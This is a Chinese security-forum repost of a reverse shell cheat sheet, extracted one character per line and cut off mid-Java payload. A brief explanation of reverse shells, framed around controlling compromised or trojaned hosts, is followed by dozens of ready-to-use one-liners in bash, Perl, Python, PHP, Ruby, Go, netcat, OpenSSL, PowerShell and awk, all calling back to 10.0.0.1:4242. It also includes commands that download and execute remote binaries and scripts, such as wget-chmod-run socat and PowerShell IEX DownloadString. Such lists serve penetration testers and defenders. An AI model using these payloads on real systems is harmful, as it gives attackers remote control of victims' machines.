论坛
BBS
空间测绘
发表
发布文章
提问答疑
搜索
您还未登录
登录后即可体验更多功能
立即登录
我的收藏
提问答疑
我要投稿
编程语言
[22200] 2021-07-30_反弹shell汇总
文档创建者:
s7ckTeam
浏览次数:
0
最后更新:
2025-01-18
编程语言
0 人阅读
|
0 人回复
s7ckTeam
s7ckTeam
当前离线
积分
-58
6万
主题
-6万
回帖
-58
积分
管理员
积分
-58
发消息
2021-07-30_反弹shell汇总
反
弹
s
h
e
l
l
汇
总
L
e
m
o
n
S
e
c
2
0
2
1
-
0
7
-
3
0
以
下
文
章
来
源
于
系
统
安
全
运
维
,
作
者
三
个
大
石
头
反
弹
s
h
e
l
l
方
式
:
一
、
首
先
:
一
、
首
先
:
什
么
是
反
弹
什
么
是
反
弹
s
h
e
l
l
?
?
反
弹
s
h
e
l
l
(
r
e
v
e
r
s
e
s
h
e
l
l
)
,
就
是
控
制
端
监
听
在
某
T
C
P
/
U
D
P
端
口
,
被
控
端
发
起
请
求
到
该
端
口
,
并
将
其
命
令
行
的
输
入
输
出
转
到
控
制
端
。
r
e
v
e
r
s
e
s
h
e
l
l
与
t
e
l
n
e
t
,
s
s
h
等
标
准
s
h
e
l
l
对
应
,
本
质
上
是
网
络
概
念
的
客
户
端
与
服
务
端
的
角
色
反
转
。
为
什
么
要
反
弹
为
什
么
要
反
弹
s
h
e
l
l
?
?
通
常
用
于
被
控
端
因
防
火
墙
受
限
、
权
限
不
足
、
端
口
被
占
用
等
情
形
。
举
例
:
假
设
我
们
攻
击
了
一
台
机
器
,
打
开
了
该
机
器
的
一
个
端
口
,
攻
击
者
在
自
己
的
机
器
去
连
接
目
标
机
器
(
目
标
i
p
:
目
标
机
器
端
口
)
,
这
是
比
较
常
规
的
形
式
,
我
们
叫
做
正
向
连
接
。
远
程
桌
面
、
w
e
b
服
务
、
s
s
h
、
t
e
l
n
e
t
等
等
都
是
正
向
连
接
。
那
么
什
么
情
况
下
正
向
连
接
不
能
用
了
呢
?
有
如
下
情
况
:
1
.
某
客
户
机
中
了
你
的
网
马
,
但
是
它
在
局
域
网
内
,
你
直
接
连
接
不
了
。
2
.
目
标
机
器
的
i
p
动
态
改
变
,
你
不
能
持
续
控
制
。
3
.
由
于
防
火
墙
等
限
制
,
对
方
机
器
只
能
发
送
请
求
,
不
能
接
收
请
求
。
4
.
对
于
病
毒
,
木
马
,
受
害
者
什
么
时
候
能
中
招
,
对
方
的
网
络
环
境
是
什
么
样
的
,
什
么
时
候
开
关
机
等
情
况
都
是
未
知
的
,
所
以
建
立
一
个
服
务
端
让
恶
意
程
序
主
动
连
接
,
才
是
上
策
。
那
么
反
弹
就
很
好
理
解
了
,
攻
击
者
指
定
服
务
端
,
受
害
者
主
机
主
动
连
接
攻
击
者
的
服
务
端
程
序
,
就
叫
反
弹
连
接
。
二
、
反
弹
二
、
反
弹
s
h
e
l
l
方
式
汇
总
:
方
式
汇
总
:
B
a
s
h
T
C
P
B
a
s
h
U
D
P
不
要
忘
记
检
查
其
他
s
h
e
l
l
:
s
h
、
a
s
h
、
b
s
h
、
c
s
h
、
k
s
h
、
z
s
h
、
p
d
k
s
h
、
t
c
s
h
、
b
a
s
h
系
统
安
全
运
维
系
统
安
全
运
维
.
机
器
猫
学
安
全
/
每
日
分
享
,
绝
不
偷
懒
b
a
s
h
-
i
>
&
/
d
e
v
/
t
c
p
/
1
0
.
0
.
0
.
1
/
4
2
4
2
0
>
&
1
0
<
&
1
9
6
;
e
x
e
c
1
9
6
<
>
/
d
e
v
/
t
c
p
/
1
0
.
0
.
0
.
1
/
4
2
4
2
;
s
h
<
&
1
9
6
>
&
1
9
6
2
>
&
1
9
6
V
i
c
t
i
m
:
s
h
-
i
>
&
/
d
e
v
/
u
d
p
/
1
0
.
0
.
0
.
1
/
4
2
4
2
0
>
&
1
L
i
s
t
e
n
e
r
:
n
c
-
u
-
l
v
p
4
2
4
2
S
o
c
a
t
静
态
s
o
c
a
t
二
进
制
文
件
可
以
在
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
a
n
d
r
e
w
-
d
/
s
t
a
t
i
c
-
b
i
n
a
r
i
e
s
找
到
P
e
r
l
P
y
t
h
o
n
仅
限
L
i
n
u
x
I
P
v
4
I
P
v
4
I
P
v
6
仅
限
W
i
n
d
o
w
s
P
H
P
R
u
b
y
G
o
l
a
n
g
N
e
t
c
a
t
T
r
a
d
i
t
i
o
n
a
l
N
e
t
c
a
t
O
p
e
n
B
s
d
u
s
e
r
@
a
t
t
a
c
k
$
s
o
c
a
t
f
i
l
e
:
`
t
t
y
`
,
r
a
w
,
e
c
h
o
=
0
T
C
P
-
L
:
4
2
4
2
u
s
e
r
@
v
i
c
t
i
m
$
/
t
m
p
/
s
o
c
a
t
e
x
e
c
:
'
b
a
s
h
-
l
i
'
,
p
t
y
,
s
t
d
e
r
r
,
s
e
t
s
i
d
,
s
i
g
i
n
t
,
s
a
n
e
t
c
p
:
1
0
.
0
.
0
.
1
:
4
2
4
2
u
s
e
r
@
v
i
c
t
i
m
$
w
g
e
t
-
q
h
t
t
p
s
:
/
/
g
i
t
h
u
b
.
c
o
m
/
a
n
d
r
e
w
-
d
/
s
t
a
t
i
c
-
b
i
n
a
r
i
e
s
/
r
a
w
/
m
a
s
t
e
r
/
b
i
n
a
r
i
e
s
/
l
i
n
u
x
/
x
8
6
_
6
4
/
s
o
c
a
t
-
O
/
t
m
p
/
s
o
c
a
t
;
c
h
m
o
d
+
x
/
t
m
p
/
s
o
c
a
t
;
/
t
m
p
/
s
o
c
a
t
e
x
e
c
:
'
b
a
s
h
-
l
i
'
,
p
t
y
,
s
t
d
e
r
r
,
s
e
t
s
i
d
,
s
i
g
i
n
t
,
s
a
n
e
t
c
p
:
1
0
.
0
.
0
.
1
:
4
2
4
2
p
e
r
l
-
e
'
u
s
e
S
o
c
k
e
t
;
$
i
=
"
1
0
.
0
.
0
.
1
"
;
$
p
=
4
2
4
2
;
s
o
c
k
e
t
(
S
,
P
F
_
I
N
E
T
,
S
O
C
K
_
S
T
R
E
A
M
,
g
e
t
p
r
o
t
o
b
y
n
a
m
e
(
"
t
c
p
"
)
)
;
i
f
(
c
o
n
n
e
c
t
(
S
,
s
o
c
k
a
d
d
r
_
i
n
(
$
p
,
i
n
e
t
_
a
t
o
n
(
$
i
)
)
)
)
{
o
p
e
n
(
S
T
D
I
N
,
"
>
&
S
"
)
;
o
p
e
n
(
S
T
D
O
U
T
,
"
>
&
S
"
)
;
o
p
e
n
(
S
T
D
E
R
R
,
"
>
&
S
"
)
;
e
x
e
c
(
"
/
b
i
n
/
s
h
-
i
"
)
;
}
;
'
p
e
r
l
-
M
I
O
-
e
'
$
p
=
f
o
r
k
;
e
x
i
t
,
i
f
(
$
p
)
;
$
c
=
n
e
w
I
O
:
:
S
o
c
k
e
t
:
:
I
N
E
T
(
P
e
e
r
A
d
d
r
,
"
1
0
.
0
.
0
.
1
:
4
2
4
2
"
)
;
S
T
D
I
N
-
>
f
d
o
p
e
n
(
$
c
,
r
)
;
$
~
-
>
f
d
o
p
e
n
(
$
c
,
w
)
;
s
y
s
t
e
m
$
_
w
h
i
l
e
<
>
;
'
N
O
T
E
:
W
i
n
d
o
w
s
o
n
l
y
p
e
r
l
-
M
I
O
-
e
'
$
c
=
n
e
w
I
O
:
:
S
o
c
k
e
t
:
:
I
N
E
T
(
P
e
e
r
A
d
d
r
,
"
1
0
.
0
.
0
.
1
:
4
2
4
2
"
)
;
S
T
D
I
N
-
>
f
d
o
p
e
n
(
$
c
,
r
)
;
$
~
-
>
f
d
o
p
e
n
(
$
c
,
w
)
;
s
y
s
t
e
m
$
_
w
h
i
l
e
<
>
;
'
e
x
p
o
r
t
R
H
O
S
T
=
"
1
0
.
0
.
0
.
1
"
;
e
x
p
o
r
t
R
P
O
R
T
=
4
2
4
2
;
p
y
t
h
o
n
-
c
'
i
m
p
o
r
t
s
y
s
,
s
o
c
k
e
t
,
o
s
,
p
t
y
;
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
)
;
s
.
c
o
n
n
e
c
t
(
(
o
s
.
g
e
t
e
n
v
(
"
R
H
O
S
T
"
)
,
i
n
t
(
o
s
.
g
e
t
e
n
v
(
"
R
P
O
R
T
"
)
)
)
)
;
[
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
f
d
)
f
o
r
f
d
i
n
(
0
,
1
,
2
)
]
;
p
t
y
.
s
p
a
w
n
(
"
/
b
i
n
/
s
h
"
)
'
p
y
t
h
o
n
-
c
'
i
m
p
o
r
t
s
o
c
k
e
t
,
s
u
b
p
r
o
c
e
s
s
,
o
s
;
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
;
s
.
c
o
n
n
e
c
t
(
(
"
1
0
.
0
.
0
.
1
"
,
4
2
4
2
)
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
0
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
1
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
2
)
;
i
m
p
o
r
t
p
t
y
;
p
t
y
.
s
p
a
w
n
(
"
/
b
i
n
/
b
a
s
h
"
)
'
p
y
t
h
o
n
-
c
'
i
m
p
o
r
t
s
o
c
k
e
t
,
s
u
b
p
r
o
c
e
s
s
,
o
s
,
p
t
y
;
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
6
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
;
s
.
c
o
n
n
e
c
t
(
(
"
d
e
a
d
:
b
e
e
f
:
2
:
:
1
2
5
c
"
,
4
2
4
2
,
0
,
2
)
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
0
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
1
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
2
)
;
p
=
p
t
y
.
s
p
a
w
n
(
"
/
b
i
n
/
s
h
"
)
;
'
p
y
t
h
o
n
-
c
'
i
m
p
o
r
t
s
o
c
k
e
t
,
s
u
b
p
r
o
c
e
s
s
,
o
s
;
s
=
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
;
s
.
c
o
n
n
e
c
t
(
(
"
1
0
.
0
.
0
.
1
"
,
4
2
4
2
)
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
0
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
1
)
;
o
s
.
d
u
p
2
(
s
.
f
i
l
e
n
o
(
)
,
2
)
;
p
=
s
u
b
p
r
o
c
e
s
s
.
c
a
l
l
(
[
"
/
b
i
n
/
s
h
"
,
"
-
i
"
]
)
;
'
C
:
P
y
t
h
o
n
2
7
p
y
t
h
o
n
.
e
x
e
-
c
"
(
l
a
m
b
d
a
_
_
y
,
_
_
g
,
_
_
c
o
n
t
e
x
t
l
i
b
:
[
[
[
[
[
[
[
(
s
.
c
o
n
n
e
c
t
(
(
'
1
0
.
0
.
0
.
1
'
,
4
2
4
2
)
)
,
[
[
[
(
s
2
p
_
t
h
r
e
a
d
.
s
t
a
r
t
(
)
,
[
[
(
p
2
s
_
t
h
r
e
a
d
.
s
t
a
r
t
(
)
,
(
l
a
m
b
d
a
_
_
o
u
t
:
(
l
a
m
b
d
a
_
_
c
t
x
:
[
_
_
c
t
x
.
_
_
e
n
t
e
r
_
_
(
)
,
_
_
c
t
x
.
_
_
e
x
i
t
_
_
(
N
o
n
e
,
N
o
n
e
,
N
o
n
e
)
,
_
_
o
u
t
[
0
]
(
l
a
m
b
d
a
:
N
o
n
e
)
]
[
2
]
)
(
_
_
c
o
n
t
e
x
t
l
i
b
.
n
e
s
t
e
d
(
t
y
p
e
(
'
e
x
c
e
p
t
'
,
(
)
,
{
'
_
_
e
n
t
e
r
_
_
'
:
l
a
m
b
d
a
s
e
l
f
:
N
o
n
e
,
'
_
_
e
x
i
t
_
_
'
:
l
a
m
b
d
a
_
_
s
e
l
f
,
_
_
e
x
c
t
y
p
e
,
_
_
v
a
l
u
e
,
_
_
t
r
a
c
e
b
a
c
k
:
_
_
e
x
c
t
y
p
e
i
s
n
o
t
N
o
n
e
a
n
d
(
i
s
s
u
b
c
l
a
s
s
(
_
_
e
x
c
t
y
p
e
,
K
e
y
b
o
a
r
d
I
n
t
e
r
r
u
p
t
)
a
n
d
[
T
r
u
e
f
o
r
_
_
o
u
t
[
0
]
i
n
[
(
(
s
.
c
l
o
s
e
(
)
,
l
a
m
b
d
a
a
f
t
e
r
:
a
f
t
e
r
(
)
)
[
1
]
)
]
]
[
0
]
)
}
)
(
)
,
t
y
p
e
(
'
t
r
y
'
,
(
)
,
{
'
_
_
e
n
t
e
r
_
_
'
:
l
a
m
b
d
a
s
e
l
f
:
N
o
n
e
,
'
_
_
e
x
i
t
_
_
'
:
l
a
m
b
d
a
_
_
s
e
l
f
,
_
_
e
x
c
t
y
p
e
,
_
_
v
a
l
u
e
,
_
_
t
r
a
c
e
b
a
c
k
:
[
F
a
l
s
e
f
o
r
_
_
o
u
t
[
0
]
i
n
[
(
(
p
.
w
a
i
t
(
)
,
(
l
a
m
b
d
a
_
_
a
f
t
e
r
:
_
_
a
f
t
e
r
(
)
)
)
[
1
]
)
]
]
[
0
]
}
)
(
)
)
)
)
(
[
N
o
n
e
]
)
)
[
1
]
f
o
r
p
2
s
_
t
h
r
e
a
d
.
d
a
e
m
o
n
i
n
[
(
T
r
u
e
)
]
]
[
0
]
f
o
r
_
_
g
[
'
p
2
s
_
t
h
r
e
a
d
'
]
i
n
[
(
t
h
r
e
a
d
i
n
g
.
T
h
r
e
a
d
(
t
a
r
g
e
t
=
p
2
s
,
a
r
g
s
=
[
s
,
p
]
)
)
]
]
[
0
]
)
[
1
]
f
o
r
s
2
p
_
t
h
r
e
a
d
.
d
a
e
m
o
n
i
n
[
(
T
r
u
e
)
]
]
[
0
]
f
o
r
_
_
g
[
'
s
2
p
_
t
h
r
e
a
d
'
]
i
n
[
(
t
h
r
e
a
d
i
n
g
.
T
h
r
e
a
d
(
t
a
r
g
e
t
=
s
2
p
,
a
r
g
s
=
[
s
,
p
]
)
)
]
]
[
0
]
f
o
r
_
_
g
[
'
p
'
]
i
n
[
(
s
u
b
p
r
o
c
e
s
s
.
P
o
p
e
n
(
[
'
w
i
n
d
o
w
s
s
y
s
t
e
m
3
2
c
m
d
.
e
x
e
'
]
,
s
t
d
o
u
t
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
,
s
t
d
e
r
r
=
s
u
b
p
r
o
c
e
s
s
.
S
T
D
O
U
T
,
s
t
d
i
n
=
s
u
b
p
r
o
c
e
s
s
.
P
I
P
E
)
)
]
]
[
0
]
)
[
1
]
f
o
r
_
_
g
[
'
s
'
]
i
n
[
(
s
o
c
k
e
t
.
s
o
c
k
e
t
(
s
o
c
k
e
t
.
A
F
_
I
N
E
T
,
s
o
c
k
e
t
.
S
O
C
K
_
S
T
R
E
A
M
)
)
]
]
[
0
]
f
o
r
_
_
g
[
'
p
2
s
'
]
,
p
2
s
.
_
_
n
a
m
e
_
_
i
n
[
(
l
a
m
b
d
a
s
,
p
:
(
l
a
m
b
d
a
_
_
l
:
[
(
l
a
m
b
d
a
_
_
a
f
t
e
r
:
_
_
y
(
l
a
m
b
d
a
_
_
t
h
i
s
:
l
a
m
b
d
a
:
(
_
_
l
[
'
s
'
]
.
s
e
n
d
(
_
_
l
[
'
p
'
]
.
s
t
d
o
u
t
.
r
e
a
d
(
1
)
)
,
_
_
t
h
i
s
(
)
)
[
1
]
i
f
T
r
u
e
e
l
s
e
_
_
a
f
t
e
r
(
)
)
(
)
)
(
l
a
m
b
d
a
:
N
o
n
e
)
f
o
r
_
_
l
[
'
s
'
]
,
_
_
l
[
'
p
'
]
i
n
[
(
s
,
p
)
]
]
[
0
]
)
(
{
}
)
,
'
p
2
s
'
)
]
]
[
0
]
f
o
r
_
_
g
[
'
s
2
p
'
]
,
s
2
p
.
_
_
n
a
m
e
_
_
i
n
[
(
l
a
m
b
d
a
s
,
p
:
(
l
a
m
b
d
a
_
_
l
:
[
(
l
a
m
b
d
a
_
_
a
f
t
e
r
:
_
_
y
(
l
a
m
b
d
a
_
_
t
h
i
s
:
l
a
m
b
d
a
:
[
(
l
a
m
b
d
a
_
_
a
f
t
e
r
:
(
_
_
l
[
'
p
'
]
.
s
t
d
i
n
.
w
r
i
t
e
(
_
_
l
[
'
d
a
t
a
'
]
)
,
_
_
a
f
t
e
r
(
)
)
[
1
]
i
f
(
l
e
n
(
_
_
l
[
'
d
a
t
a
'
]
)
>
0
)
e
l
s
e
_
_
a
f
t
e
r
(
)
)
(
l
a
m
b
d
a
:
_
_
t
h
i
s
(
)
)
f
o
r
_
_
l
[
'
d
a
t
a
'
]
i
n
[
(
_
_
l
[
'
s
'
]
.
r
e
c
v
(
1
0
2
4
)
)
]
]
[
0
]
i
f
T
r
u
e
e
l
s
e
_
_
a
f
t
e
r
(
)
)
(
)
)
(
l
a
m
b
d
a
:
N
o
n
e
)
f
o
r
_
_
l
[
'
s
'
]
,
_
_
l
[
'
p
'
]
i
n
[
(
s
,
p
)
]
]
[
0
]
)
(
{
}
)
,
'
s
2
p
'
)
]
]
[
0
]
f
o
r
_
_
g
[
'
o
s
'
]
i
n
[
(
_
_
i
m
p
o
r
t
_
_
(
'
o
s
'
,
_
_
g
,
_
_
g
)
)
]
]
[
0
]
f
o
r
_
_
g
[
'
s
o
c
k
e
t
'
]
i
n
[
(
_
_
i
m
p
o
r
t
_
_
(
'
s
o
c
k
e
t
'
,
_
_
g
,
_
_
g
)
)
]
]
[
0
]
f
o
r
_
_
g
[
'
s
u
b
p
r
o
c
e
s
s
'
]
i
n
[
(
_
_
i
m
p
o
r
t
_
_
(
'
s
u
b
p
r
o
c
e
s
s
'
,
_
_
g
,
_
_
g
)
)
]
]
[
0
]
f
o
r
_
_
g
[
'
t
h
r
e
a
d
i
n
g
'
]
i
n
[
(
_
_
i
m
p
o
r
t
_
_
(
'
t
h
r
e
a
d
i
n
g
'
,
_
_
g
,
_
_
g
)
)
]
]
[
0
]
)
(
(
l
a
m
b
d
a
f
:
(
l
a
m
b
d
a
x
:
x
(
x
)
)
(
l
a
m
b
d
a
y
:
f
(
l
a
m
b
d
a
:
y
(
y
)
(
)
)
)
)
,
g
l
o
b
a
l
s
(
)
,
_
_
i
m
p
o
r
t
_
_
(
'
c
o
n
t
e
x
t
l
i
b
'
)
)
"
p
h
p
-
r
'
$
s
o
c
k
=
f
s
o
c
k
o
p
e
n
(
"
1
0
.
0
.
0
.
1
"
,
4
2
4
2
)
;
e
x
e
c
(
"
/
b
i
n
/
s
h
-
i
<
&
3
>
&
3
2
>
&
3
"
)
;
'
p
h
p
-
r
'
$
s
o
c
k
=
f
s
o
c
k
o
p
e
n
(
"
1
0
.
0
.
0
.
1
"
,
4
2
4
2
)
;
$
p
r
o
c
=
p
r
o
c
_
o
p
e
n
(
"
/
b
i
n
/
s
h
-
i
"
,
a
r
r
a
y
(
0
=
>
$
s
o
c
k
,
1
=
>
$
s
o
c
k
,
2
=
>
$
s
o
c
k
)
,
$
p
i
p
e
s
)
;
'
r
u
b
y
-
r
s
o
c
k
e
t
-
e
'
f
=
T
C
P
S
o
c
k
e
t
.
o
p
e
n
(
"
1
0
.
0
.
0
.
1
"
,
4
2
4
2
)
.
t
o
_
i
;
e
x
e
c
s
p
r
i
n
t
f
(
"
/
b
i
n
/
s
h
-
i
<
&
%
d
>
&
%
d
2
>
&
%
d
"
,
f
,
f
,
f
)
'
r
u
b
y
-
r
s
o
c
k
e
t
-
e
'
e
x
i
t
i
f
f
o
r
k
;
c
=
T
C
P
S
o
c
k
e
t
.
n
e
w
(
"
1
0
.
0
.
0
.
1
"
,
"
4
2
4
2
"
)
;
w
h
i
l
e
(
c
m
d
=
c
.
g
e
t
s
)
;
I
O
.
p
o
p
e
n
(
c
m
d
,
"
r
"
)
{
|
i
o
|
c
.
p
r
i
n
t
i
o
.
r
e
a
d
}
e
n
d
'
N
O
T
E
:
W
i
n
d
o
w
s
o
n
l
y
r
u
b
y
-
r
s
o
c
k
e
t
-
e
'
c
=
T
C
P
S
o
c
k
e
t
.
n
e
w
(
"
1
0
.
0
.
0
.
1
"
,
"
4
2
4
2
"
)
;
w
h
i
l
e
(
c
m
d
=
c
.
g
e
t
s
)
;
I
O
.
p
o
p
e
n
(
c
m
d
,
"
r
"
)
{
|
i
o
|
c
.
p
r
i
n
t
i
o
.
r
e
a
d
}
e
n
d
'
e
c
h
o
'
p
a
c
k
a
g
e
m
a
i
n
;
i
m
p
o
r
t
"
o
s
/
e
x
e
c
"
;
i
m
p
o
r
t
"
n
e
t
"
;
f
u
n
c
m
a
i
n
(
)
{
c
,
_
:
=
n
e
t
.
D
i
a
l
(
"
t
c
p
"
,
"
1
0
.
0
.
0
.
1
:
4
2
4
2
"
)
;
c
m
d
:
=
e
x
e
c
.
C
o
m
m
a
n
d
(
"
/
b
i
n
/
s
h
"
)
;
c
m
d
.
S
t
d
i
n
=
c
;
c
m
d
.
S
t
d
o
u
t
=
c
;
c
m
d
.
S
t
d
e
r
r
=
c
;
c
m
d
.
R
u
n
(
)
}
'
>
/
t
m
p
/
t
.
g
o
&
&
g
o
r
u
n
/
t
m
p
/
t
.
g
o
&
&
r
m
/
t
m
p
/
t
.
g
o
n
c
-
e
/
b
i
n
/
s
h
1
0
.
0
.
0
.
1
4
2
4
2
n
c
-
e
/
b
i
n
/
b
a
s
h
1
0
.
0
.
0
.
1
4
2
4
2
n
c
-
c
b
a
s
h
1
0
.
0
.
0
.
1
4
2
4
2
r
m
/
t
m
p
/
f
;
m
k
f
i
f
o
/
t
m
p
/
f
;
c
a
t
/
t
m
p
/
f
|
/
b
i
n
/
s
h
-
i
2
>
&
1
|
n
c
1
0
.
0
.
0
.
1
4
2
4
2
>
/
t
m
p
/
f
N
c
a
t
O
p
e
n
S
S
L
攻
击
者
:
P
o
w
e
r
s
h
e
l
l
A
w
k
J
a
v
a
J
a
v
a
A
l
t
e
r
n
a
t
i
v
e
1
J
a
v
a
A
l
t
e
r
n
a
t
i
v
e
2
注
意
注
意
:
这
更
隐
蔽
W
a
r
L
u
a
仅
限
L
i
n
u
x
W
i
n
d
o
w
s
a
n
d
L
i
n
u
x
N
o
d
e
J
S
n
c
a
t
1
0
.
0
.
0
.
1
4
2
4
2
-
e
/
b
i
n
/
b
a
s
h
n
c
a
t
-
-
u
d
p
1
0
.
0
.
0
.
1
4
2
4
2
-
e
/
b
i
n
/
b
a
s
h
u
s
e
r
@
a
t
t
a
c
k
$
o
p
e
n
s
s
l
r
e
q
-
x
5
0
9
-
n
e
w
k
e
y
r
s
a
:
4
0
9
6
-
k
e
y
o
u
t
k
e
y
.
p
e
m
-
o
u
t
c
e
r
t
.
p
e
m
-
d
a
y
s
3
6
5
-
n
o
d
e
s
u
s
e
r
@
a
t
t
a
c
k
$
o
p
e
n
s
s
l
s
_
s
e
r
v
e
r
-
q
u
i
e
t
-
k
e
y
k
e
y
.
p
e
m
-
c
e
r
t
c
e
r
t
.
p
e
m
-
p
o
r
t
4
2
4
2
o
r
u
s
e
r
@
a
t
t
a
c
k
$
n
c
a
t
-
-
s
s
l
-
v
v
-
l
-
p
4
2
4
2
u
s
e
r
@
v
i
c
t
i
m
$
m
k
f
i
f
o
/
t
m
p
/
s
;
/
b
i
n
/
s
h
-
i
<
/
t
m
p
/
s
2
>
&
1
|
o
p
e
n
s
s
l
s
_
c
l
i
e
n
t
-
q
u
i
e
t
-
c
o
n
n
e
c
t
1
0
.
0
.
0
.
1
:
4
2
4
2
>
/
t
m
p
/
s
;
r
m
/
t
m
p
/
s
p
o
w
e
r
s
h
e
l
l
-
N
o
P
-
N
o
n
I
-
W
H
i
d
d
e
n
-
E
x
e
c
B
y
p
a
s
s
-
C
o
m
m
a
n
d
N
e
w
-
O
b
j
e
c
t
S
y
s
t
e
m
.
N
e
t
.
S
o
c
k
e
t
s
.
T
C
P
C
l
i
e
n
t
(
"
1
0
.
0
.
0
.
1
"
,
4
2
4
2
)
;
$
s
t
r
e
a
m
=
$
c
l
i
e
n
t
.
G
e
t
S
t
r
e
a
m
(
)
;
[
b
y
t
e
[
]
]
$
b
y
t
e
s
=
0
.
.
6
5
5
3
5
|
%
{
0
}
;
w
h
i
l
e
(
(
$
i
=
$
s
t
r
e
a
m
.
R
e
a
d
(
$
b
y
t
e
s
,
0
,
$
b
y
t
e
s
.
L
e
n
g
t
h
)
)
-
n
e
0
)
{
;
$
d
a
t
a
=
(
N
e
w
-
O
b
j
e
c
t
-
T
y
p
e
N
a
m
e
S
y
s
t
e
m
.
T
e
x
t
.
A
S
C
I
I
E
n
c
o
d
i
n
g
)
.
G
e
t
S
t
r
i
n
g
(
$
b
y
t
e
s
,
0
,
$
i
)
;
$
s
e
n
d
b
a
c
k
=
(
i
e
x
$
d
a
t
a
2
>
&
1
|
O
u
t
-
S
t
r
i
n
g
)
;
$
s
e
n
d
b
a
c
k
2
=
$
s
e
n
d
b
a
c
k
+
"
P
S
"
+
(
p
w
d
)
.
P
a
t
h
+
"
>
"
;
$
s
e
n
d
b
y
t
e
=
(
[
t
e
x
t
.
e
n
c
o
d
i
n
g
]
:
:
A
S
C
I
I
)
.
G
e
t
B
y
t
e
s
(
$
s
e
n
d
b
a
c
k
2
)
;
$
s
t
r
e
a
m
.
W
r
i
t
e
(
$
s
e
n
d
b
y
t
e
,
0
,
$
s
e
n
d
b
y
t
e
.
L
e
n
g
t
h
)
;
$
s
t
r
e
a
m
.
F
l
u
s
h
(
)
}
;
$
c
l
i
e
n
t
.
C
l
o
s
e
(
)
p
o
w
e
r
s
h
e
l
l
-
n
o
p
-
c
"
$
c
l
i
e
n
t
=
N
e
w
-
O
b
j
e
c
t
S
y
s
t
e
m
.
N
e
t
.
S
o
c
k
e
t
s
.
T
C
P
C
l
i
e
n
t
(
'
1
0
.
0
.
0
.
1
'
,
4
2
4
2
)
;
$
s
t
r
e
a
m
=
$
c
l
i
e
n
t
.
G
e
t
S
t
r
e
a
m
(
)
;
[
b
y
t
e
[
]
]
$
b
y
t
e
s
=
0
.
.
6
5
5
3
5
|
%
{
0
}
;
w
h
i
l
e
(
(
$
i
=
$
s
t
r
e
a
m
.
R
e
a
d
(
$
b
y
t
e
s
,
0
,
$
b
y
t
e
s
.
L
e
n
g
t
h
)
)
-
n
e
0
)
{
;
$
d
a
t
a
=
(
N
e
w
-
O
b
j
e
c
t
-
T
y
p
e
N
a
m
e
S
y
s
t
e
m
.
T
e
x
t
.
A
S
C
I
I
E
n
c
o
d
i
n
g
)
.
G
e
t
S
t
r
i
n
g
(
$
b
y
t
e
s
,
0
,
$
i
)
;
$
s
e
n
d
b
a
c
k
=
(
i
e
x
$
d
a
t
a
2
>
&
1
|
O
u
t
-
S
t
r
i
n
g
)
;
$
s
e
n
d
b
a
c
k
2
=
$
s
e
n
d
b
a
c
k
+
'
P
S
'
+
(
p
w
d
)
.
P
a
t
h
+
'
>
'
;
$
s
e
n
d
b
y
t
e
=
(
[
t
e
x
t
.
e
n
c
o
d
i
n
g
]
:
:
A
S
C
I
I
)
.
G
e
t
B
y
t
e
s
(
$
s
e
n
d
b
a
c
k
2
)
;
$
s
t
r
e
a
m
.
W
r
i
t
e
(
$
s
e
n
d
b
y
t
e
,
0
,
$
s
e
n
d
b
y
t
e
.
L
e
n
g
t
h
)
;
$
s
t
r
e
a
m
.
F
l
u
s
h
(
)
}
;
$
c
l
i
e
n
t
.
C
l
o
s
e
(
)
"
p
o
w
e
r
s
h
e
l
l
I
E
X
(
N
e
w
-
O
b
j
e
c
t
N
e
t
.
W
e
b
C
l
i
e
n
t
)
.
D
o
w
n
l
o
a
d
S
t
r
i
n
g
(
'
h
t
t
p
s
:
/
/
g
i
s
t
.
g
i
t
h
u
b
u
s
e
r
c
o
n
t
e
n
t
.
c
o
m
/
s
t
a
a
l
d
r
a
a
d
/
2
0
4
9
2
8
a
6
0
0
4
e
8
9
5
5
3
a
8
d
3
d
b
0
c
e
5
2
7
f
d
5
/
r
a
w
/
f
e
5
f
7
4
e
c
f
a
e
7
e
c
0
f
2
d
5
0
8
9
5
e
c
f
9
a
b
9
d
a
f
e
2
5
3
a
d
4
/
m
i
n
i
-
r
e
v
e
r
s
e
.
p
s
1
'
)
a
w
k
'
B
E
G
I
N
{
s
=
"
/
i
n
e
t
/
t
c
p
/
0
/
1
0
.
0
.
0
.
1
/
4
2
4
2
"
;
w
h
i
l
e
(
4
2
)
{
d
o
{
p
r
i
n
t
f
"
s
h
e
l
l
>
"
|
&
s
;
s
|
&
g
e
t
l
i
n
e
c
;
i
f
(
c
)
{
w
h
i
l
e
(
(
c
|
&
g
e
t
l
i
n
e
)
>
0
)
p
r
i
n
t
$
0
|
&
s
;
c
l
o
s
e
(
c
)
;
}
}
w
h
i
l
e
(
c
!
=
"
e
x
i
t
"
)
c
l
o
s
e
(
s
)
;
}
}
'
/
d
e
v
/
n
u
l
l
r
=
R
u
n
t
i
m
e
.
g
e
t
R
u
n
t
i
m
e
(
)
p
=
r
.
e
x
e
c
(
[
"
/
b
i
n
/
b
a
s
h
"
,
"
-
c
"
,
"
e
x
e
c
5
<
>
/
d
e
v
/
t
